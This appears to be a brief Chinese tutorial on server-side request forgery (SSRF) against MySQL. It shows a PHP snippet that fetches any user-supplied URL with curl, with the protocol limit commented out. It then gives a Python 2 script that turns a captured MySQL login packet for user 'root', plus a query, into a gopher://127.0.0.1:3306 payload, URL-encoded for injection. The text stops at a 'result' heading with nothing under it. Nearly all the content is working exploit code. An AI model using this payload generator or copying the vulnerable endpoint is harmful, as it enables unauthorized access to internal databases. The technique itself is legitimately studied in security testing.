mysql ssrf_ssrf爆破mysql

php ssrf 代码

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $_GET['url']);

#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

curl_setopt($ch, CURLOPT_HEADER, 0);

#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

$data =curl_exec($ch);

curl_close($ch);

echo $data;

?>

抓包跟踪tcp流

tcp流原始数据处理 进行urlencode

python 数据处理

import urllib

s="""5000000185a60f0000000001210000000000000000000000000000000000000000000000726f6f7400143cf76dd39987f1d2648aabfc4ae53cf62e826ea76d7973716c5f6e61746976655f70617373776f726400

210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031"""

s = "".join(s.split())

def encode(s):

a = [s[2*i:2*i+2] for i in xrange(len(s)/2)]

return "gopher://127.0.0.1:3306/_%" + "%".join(a)

s = encode(s)

print "[+ local]", s

s = urllib.quote(s)

print "[+ url]", s

效果：